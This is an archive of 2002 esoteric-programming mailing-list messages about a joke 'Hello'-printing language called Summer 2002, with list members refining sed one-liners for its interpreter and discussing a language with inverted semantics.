
From esoteric@oiva.sange.fi Wed May 01 03:53:10 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 172iLg-000DGD-00; Wed, 01 May 2002 03:52:00 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 01 May 2002 03:51:53 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 172iJI-000DG1-00; Wed, 01 May 2002 03:49:33 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 01 May 2002 03:49:26 +0300 (EEST)
Received: from web12906.mail.yahoo.com ([216.136.174.73])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 172iJ9-000DFv-00
	for lang@esoteric.sange.fi; Wed, 01 May 2002 03:49:23 +0300
Message-ID: <20020501004920.79370.qmail@web12906.mail.yahoo.com>
Received: from [24.78.145.92] by web12906.mail.yahoo.com via HTTP; Tue, 30 Apr 2002 17:49:20 PDT
Date: Tue, 30 Apr 2002 17:49:20 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] A new language: Summer 2002
To: lang@esoteric.sange.fi
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

Summer 2002 is a non-deterministic, object-oriented, declarative, interpreted
language, designed for ease of use as well as power.

The language grammar is exceptionally simple. Objects are the only first-class
citizens. Each object has a unique identifier - a (non case-sensitive) string
of letters corresponding to an English noun. Objects can have any number of
attributes, or properties, the identifiers for which are strings of letters
corresponding to adjectives.

Objects are created with either one of the reserved words "A" or "An". The
declaration syntax is: "A", followed by any number of attributes, followed by
the name of the object. Optional punctuation marks are permitted anywhere
except between "A" or "An" and the first attribute, and in front of "A" (or
"An"). Only one declaration per line is permitted, and each declaration has to
fit on one line.

Since Summer 2002 is a declarative language, the declaration syntax is all
there is. Any line which doesn't start with an "A" or "An" is considered a
comment and ignored.

The program is interpreted as follows: the interpreter picks lines in random
order, and for each line prints "Hello, ", followed by the list of attributes
and the object declared on that line (With all original punctuation, except
anything after the name of the object), followed by a "!".

Simple, isn't it, for such a powerful language?

Some example programs:

--------------------------------------------
Hello world - this is almost mandatory.

A world.
--------------------------------------------
Result of execution of the above:
...
Hello, world!
...




--------------------------------------------
This shows the more advanced features.

A bright, sunny day.
A green apple.
A silence.
--------------------------------------------
One of the possible results of execution of the above:
...
Hello, green apple!
Hello, bright, sunny day!
Hello, silence!
...




Summer 2002 is extremely flexible and powerful. The following program achieves
Turing-completeness in just one line of code!

--------------------------------------------
Feel the power :)

A Turing machine!
--------------------------------------------
Result of execution of the above:
...
Hello, Turing machine!
...




Many complex programs can be written in Summer 2002. Here's an example:

-------------------------------------------
This program is a palindrome!
Credit for the palindrome itself goes to Dan Hoey

A man
A plan
A caret
A ban
A myriad
A sum
A lac
A liar
A hoop
A pint
A catalpa
A gas
An oil
A bird
A yell
A vat
A caw
A pax
A wag
A tax
A nay
A ram
A cap
A yam
A gay
A tsar
A wall
A car
A luger
A ward
A bin
A woman
A vassal
A wolf
A tuna
A nit
A pall
A fret
A watt
A bay
A daub
A tan
A cab
A datum
A gall
A hat
A fag
A zap
A say
A jaw
A lay
A wet
A gallop
A tug
A trot
A trap
A tram
A torr
A caper
A top
A tonk
A toll
A ball
A fair
A sax
A minim
A tenor
A bass
A passer
A capital
A rut
An amen
A ted
A cabal
A tang
A sun
An ass
A maw
A sag
A jam
A dam
A sub
A salt
An axon
A sail
An ad
A wadi
A radian
A room
A rood
A rip
A tad
A pariah
A revel
A reel
A reed
A pool
A plug
A pin
A peek
A parabola
A dog
A pat
A cud
A nu
A fan
A pal
A rum
A nod
An eta
A lag
An eel
A batik
A mug
A mot
A nap
A maxim
A mood
A leek
A grub
A gob
A gel
A drab
A citadel
A total
A cedar
A tap
A gag
A rat
A manor
A bar
A gal
A cola
A pap
A yaw
A tab
A raj
A gab
A nag
A pagan
A bag
A jar
A bat
A way
A papa
A local
A gar
A baron
A mat
A rag
A gap
A tar
A decal
A tot
A led
A tic
A bard
A leg
A bog
A burg
A keel
A doom
A mix
A map
An atom
A gum
A kit
A baleen
A gala
A ten
A don
A mural
A pan
A faun
A ducat
A pagoda
A lob
A rap
A keep
A nip
A gulp
A loop
A deer
A leer
A lever
A hair
A pad
A tapir
A door
A moor
An aid
A raid
A wad
An alias
An ox
An atlas
A bus
A madam
A jag
A saw
A mass
An anus
A gnat
A lab
A cadet
An em
A natural
A tip
A caress
A pass
A baronet
A minimax
A sari
A fall
A ballot
A knot
A pot
A rep
A carrot
A mart
A part
A tort
A gut
A poll
A gateway
A law
A jay
A sap
A zag
A fat
A hall
A gamut
A dab
A can
A tabu
A day
A batt
A waterfall
A patina
A nut
A flow
A lass
A van
A mow
A nib
A draw
A regular
A call
A war
A stay
A gam
A yap
A cam
A ray
An ax
A tag
A wax
A paw
A cat
A valley
A drib
A lion
A saga
A plat
A catnip
A pooh
A rail
A calamus
A dairyman
A bater
A canal
- Panama.
-------------------------------------------
The result of the execution will vary wildly depending on the person and
circumstances.

I have not written the interpreter, but writing one should be quite
straightforward.


__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Wed May 01 22:45:07 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17301p-000Fm6-00; Wed, 01 May 2002 22:44:41 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 01 May 2002 22:44:12 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 172zzZ-000Flx-00; Wed, 01 May 2002 22:42:21 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 01 May 2002 22:42:14 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 172zzR-000Flr-00
	for lang@esoteric.sange.fi; Wed, 01 May 2002 22:42:13 +0300
Received: from dds.nl (xs241-248-164.dial.tiscali.nl [195.241.248.164])
	by pandora.tiscali.nl (Postfix) with ESMTP id E14A837CED
	for <lang@esoteric.sange.fi>; Wed,  1 May 2002 21:42:10 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3CD0491C.949F85D4@dds.nl>
Date: Wed, 01 May 2002 21:59:24 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: Esoteric languages <lang@esoteric.sange.fi>
Subject: [lang] [Essies] Well?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

It's been more than an eighth of a year since the deadline.  When are going to
get some results?





From esoteric@oiva.sange.fi Fri May 03 12:33:15 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173ZQG-000Pck-00; Fri, 03 May 2002 12:32:17 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 03 May 2002 12:32:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173ZOM-000PcC-00; Fri, 03 May 2002 12:30:18 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 03 May 2002 12:30:11 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173ZOE-000Pc3-00
	for lang@esoteric.sange.fi; Fri, 03 May 2002 12:30:10 +0300
Received: from dozer (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g439Tus00551;
	Fri, 3 May 2002 02:29:56 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi, Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
Date: Fri, 3 May 2002 02:30:59 -0700
X-Mailer: KMail [version 1.4]
References: <20020501004920.79370.qmail@web12906.mail.yahoo.com>
In-Reply-To: <20020501004920.79370.qmail@web12906.mail.yahoo.com>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200205030230.59945.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 30 April 2002 05:49 pm, Nikita Ayzikovsky wrote:
> Summer 2002 is extremely flexible and powerful. The following program
> achieves Turing-completeness in just one line of code!
>
> --------------------------------------------
> Feel the power :)
>
> A Turing machine!
> --------------------------------------------
> Result of execution of the above:
> ...
> Hello, Turing machine!

This feels curiously familiar. :-)

Here's my suggestion for an interpreter, in sh:
---
#!/bin/sh
cat $1 | sed 's/An? \(.*\)[.!?]*/Hello, \1!/g'
---

-Cliff





From esoteric@oiva.sange.fi Sat May 04 01:26:25 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173lVI-00028n-00; Sat, 04 May 2002 01:26:16 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 01:26:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173lUR-00028g-00; Sat, 04 May 2002 01:25:23 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 01:25:16 +0300 (EEST)
Received: from rebecca.tiscali.nl ([195.241.76.181])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173lUJ-00028Z-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 01:25:15 +0300
Received: from dds.nl (xs241-233-119.dial.tiscali.nl [195.241.233.119])
	by rebecca.tiscali.nl (Postfix) with ESMTP id 6F06D8A3511
	for <lang@esoteric.sange.fi>; Sat,  4 May 2002 00:25:13 +0200 (MET DST)
Sender: root@rebecca.tiscali.nl
Message-ID: <3CD312A2.57F4FD36@dds.nl>
Date: Sat, 04 May 2002 00:43:46 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
References: <20020501004920.79370.qmail@web12906.mail.yahoo.com> <200205030230.59945.cbiffle@safety.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Cliff L. Biffle wrote:

> On Tuesday 30 April 2002 05:49 pm, Nikita Ayzikovsky wrote:
> > Summer 2002 is extremely flexible and powerful. The following program
> > achieves Turing-completeness in just one line of code!
> >
> > --------------------------------------------
> > Feel the power :)
> >
> > A Turing machine!
> > --------------------------------------------
> > Result of execution of the above:
> > ...
> > Hello, Turing machine!
>
> This feels curiously familiar. :-)

HQ9+ :)

> Here's my suggestion for an interpreter, in sh:
> ---
> #!/bin/sh
> cat $1 | sed 's/An? \(.*\)[.!?]*/Hello, \1!/g'
> ---

I also thought about something like that, but it's non-deterministic, remember?






From esoteric@oiva.sange.fi Sat May 04 04:15:46 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173o8z-0003NG-00; Sat, 04 May 2002 04:15:26 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 04:15:18 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173o8R-0003N6-00; Sat, 04 May 2002 04:14:52 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 04:14:44 +0300 (EEST)
Received: from web12902.mail.yahoo.com ([216.136.174.69])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 173o8J-0003N0-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 04:14:43 +0300
Message-ID: <20020504011440.43340.qmail@web12902.mail.yahoo.com>
Received: from [24.78.145.92] by web12902.mail.yahoo.com via HTTP; Fri, 03 May 2002 18:14:40 PDT
Date: Fri, 3 May 2002 18:14:40 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
In-Reply-To: <3CD312A2.57F4FD36@dds.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- Milo van Handel <mwq@dds.nl> wrote:
> Cliff L. Biffle wrote:

> > > --------------------------------------------
> > > Feel the power :)
> > >
> > > A Turing machine!
> > > --------------------------------------------
> > > Result of execution of the above:
> > > ...
> > > Hello, Turing machine!
> >
> > This feels curiously familiar. :-)
> 
> HQ9+ :)
In HQ9+, you had to add an instruction to implement Turing-completness. Here,
the expressiveness of the language is so great that no additions to the
language are needed: note that "A Turing Machine" is not a reserved keyword,
like it would be in HQT9+.


> > #!/bin/sh
> > cat $1 | sed 's/An? \(.*\)[.!?]*/Hello, \1!/g'

Even ignoring the non-determinism, it won't work, because \(.*\) expands to eat
the whole string, and [.!?]* will match the empty string remaining. Does anyone
know how to solve this problem?

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Sat May 04 05:55:27 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173phg-0003Zw-00; Sat, 04 May 2002 05:55:20 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 05:55:13 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173phA-0003Zn-00; Sat, 04 May 2002 05:54:48 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 05:54:41 +0300 (EEST)
Received: from imo-r03.mx.aol.com ([152.163.225.99])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173ph2-0003Zh-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 05:54:41 +0300
Received: from KiwiCado23@aol.com
	by imo-r03.mx.aol.com (mail_out_v32.5.) id o.98.2556203f (25916)
	 for <lang@esoteric.sange.fi>; Fri, 3 May 2002 22:54:30 -0400 (EDT)
From: KiwiCado23@aol.com
Message-ID: <98.2556203f.2a04a766@aol.com>
Date: Fri, 3 May 2002 22:54:30 EDT
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: AOL 4.0 for Windows 95 sub 114
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: KiwiCado23@aol.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: KiwiCado23@aol.com
Precedence: bulk
X-list: misc

would changing \(.*\) to \(.*[^.?!]\) have the desired effect?





From esoteric@oiva.sange.fi Sat May 04 06:12:49 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173pyY-0003eS-00; Sat, 04 May 2002 06:12:46 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 06:12:39 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173pyJ-0003eM-00; Sat, 04 May 2002 06:12:31 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 06:12:24 +0300 (EEST)
Received: from static-dialup-isdn-ana.cu.soltec.net ([64.5.68.221] helo=study.anacroatan.org)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173pyB-0003eG-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 06:12:24 +0300
Received: from justin by study.anacroatan.org with local (Exim 3.12 #1 (Debian))
	id 173qIZ-0002Q0-00
	for <lang@esoteric.sange.fi>; Fri, 03 May 2002 22:33:27 -0500
To: lang@esoteric.sange.fi
Subject: [lang] summer 2002 shell script
Message-Id: <E173qIZ-0002Q0-00@study.anacroatan.org>
From: justin@anacroatan.org
Date: Fri, 03 May 2002 22:33:27 -0500
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
X-list: misc

> > > #!/bin/sh
> > > cat $1 | sed 's/An? \(.*\)[.!?]*/Hello, \1!/g'

> Even ignoring the non-determinism, it won't work, because \(.*\) expands to eat
> the whole string, and [.!?]* will match the empty string remaining. Does anyone
> know how to solve this problem?

how about

--
#!/bin/sh
sed 's/[Aa]\([Nn]\)* /Hello, /
     s/$/!/' $1
--

?

it works for all the stuff I tried - is it up to spec?
oh, you could make it tac instead of cat if {wc -c `head /dev/random`} is
greater than {wc -c `head /dev/random`} to throw some indeterminacy in
there or something like that. otherwise we might as well spawn one
less process, I figure.






From esoteric@oiva.sange.fi Sat May 04 07:02:02 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173qk2-0003kL-00; Sat, 04 May 2002 07:01:50 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 07:01:43 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173qjk-0003kF-00; Sat, 04 May 2002 07:01:32 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 07:01:25 +0300 (EEST)
Received: from web12903.mail.yahoo.com ([216.136.174.70])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 173qjd-0003k9-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 07:01:25 +0300
Message-ID: <20020504040123.9266.qmail@web12903.mail.yahoo.com>
Received: from [24.78.145.92] by web12903.mail.yahoo.com via HTTP; Fri, 03 May 2002 21:01:23 PDT
Date: Fri, 3 May 2002 21:01:23 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
In-Reply-To: <98.2556203f.2a04a766@aol.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- KiwiCado23@aol.com wrote:

> would changing \(.*\) to \(.*[^.?!]\) have the desired effect?

Yes. Thanks. The script is, then,

---
#!/bin/sh
cat $1 | sed -n 's/^An\?\(.*[^.?!]\)[.?!]*/Hello\1!/p'
---

which seems to take care of everything except non-determinism.

Heh. Regexps are so weird. And ugly.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Sat May 04 07:10:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173qry-0003oY-00; Sat, 04 May 2002 07:10:02 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 07:09:55 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173qro-0003oS-00; Sat, 04 May 2002 07:09:53 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 07:09:46 +0300 (EEST)
Received: from web12904.mail.yahoo.com ([216.136.174.71])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 173qrh-0003oM-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 07:09:45 +0300
Message-ID: <20020504040943.68366.qmail@web12904.mail.yahoo.com>
Received: from [24.78.145.92] by web12904.mail.yahoo.com via HTTP; Fri, 03 May 2002 21:09:43 PDT
Date: Fri, 3 May 2002 21:09:43 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
In-Reply-To: <20020504040123.9266.qmail@web12903.mail.yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- Nikita Ayzikovsky <order_of_may@yahoo.com> wrote:

> Yes. Thanks. The script is, then,
> 
> ---
> #!/bin/sh
> cat $1 | sed -n 's/^An\?\(.*[^.?!]\)[.?!]*/Hello\1!/p'
> ---

Err, make that

#!/bin/sh
cat $1 | sed -n 's/^An\?\(.*[^.?!]\).*/Hello\1!/p'

much better :)

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Sat May 04 14:52:23 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173y4w-0004oE-00; Sat, 04 May 2002 14:51:54 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 14:51:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173y2t-0004nz-00; Sat, 04 May 2002 14:49:47 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 14:49:40 +0300 (EEST)
Received: from maynard.mail.mindspring.net ([207.69.200.243])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173y2l-0004nt-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 14:49:39 +0300
Received: from user-38ld90j.dsl.mindspring.com ([209.86.164.19] helo=zess)
	by maynard.mail.mindspring.net with smtp (Exim 3.33 #1)
	id 173y2i-0005Ah-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 07:49:37 -0400
Message-ID: <013101c1f361$2cd5f040$4fc3fea9@zess>
From: "Michael Feathers" <mfeathers@objectmentor.com>
To: <lang@esoteric.sange.fi>
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com>
Subject: [lang] Proposal
Date: Sat, 4 May 2002 07:45:22 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mfeathers@objectmentor.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mfeathers@objectmentor.com
Precedence: bulk
X-list: misc


Here's a simple one...

Anyone ever taken a real language and invert the semantics of all of the
expressions?  Just reverse addition and subtraction, multiplication and
division, invert boolean evaluation, etc.

I keep thinking of Douglas Adams and his reciexclusive number system.... so
we could have a language which does anything other than what the program
listed would lead you to believe.








From esoteric@oiva.sange.fi Sat May 04 15:16:12 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173ySF-0004v0-00; Sat, 04 May 2002 15:15:59 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 04 May 2002 15:15:52 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173yQU-0004ub-00; Sat, 04 May 2002 15:14:10 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 04 May 2002 15:14:03 +0300 (EEST)
Received: from smtp-out-2.wanadoo.fr ([193.252.19.254] helo=mel-rto2.wanadoo.fr)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 173yQN-0004uV-00
	for lang@esoteric.sange.fi; Sat, 04 May 2002 15:14:03 +0300
Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto2.wanadoo.fr (6.5.007)
        id 3CD2B8CC00050DDB for lang@esoteric.sange.fi; Sat, 4 May 2002 14:14:02 +0200
Received: from there (80.11.67.127) by mel-rta9.wanadoo.fr (6.5.007)
        id 3CD0C9D8001F1FBE for lang@esoteric.sange.fi; Sat, 4 May 2002 14:14:02 +0200
Message-ID: <3CD0C9D8001F1FBE@> (added by postmaster@wanadoo.fr)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Jerome Quelin <jquelin@wanadoo.fr>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Proposal
Date: Sat, 4 May 2002 14:14:51 +0200
X-Mailer: KMail [version 1.3.1]
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com> <013101c1f361$2cd5f040$4fc3fea9@zess>
In-Reply-To: <013101c1f361$2cd5f040$4fc3fea9@zess>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
X-list: misc

On Samedi 4 Mai 2002 13:45, Michael Feathers wrote :
> Anyone ever taken a real language and invert the semantics of all of the
> expressions?  Just reverse addition and subtraction, multiplication and
> division, invert boolean evaluation, etc.

One would have to invert also the digits:
But how should we do that:
1. 0 would mean 9, 1 <=> 8, 2 <=> 7, 3 <=> 6 and 4 <=> 5
2. or invert the bits in the binary representation of the number
3. or another way of doing this...

The same way, you should invert the meaning of letters: a <=> z, etc.

And, there's the particular instruction "reverse". If you provide a reversed 
"reverse" instruction, then this reversed instruction would do... nothing. 
This is interesting, since this would imply that acceding the variable foo 
would in fact get the _reversed_ value of its content... It begins to be 
quite hard (and potentially fun! :) ).

Jerome
-- 
jquelin@wanadoo.fr





From esoteric@oiva.sange.fi Mon May 06 04:11:16 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 174Wz7-000AlN-00; Mon, 06 May 2002 04:08:13 +0300
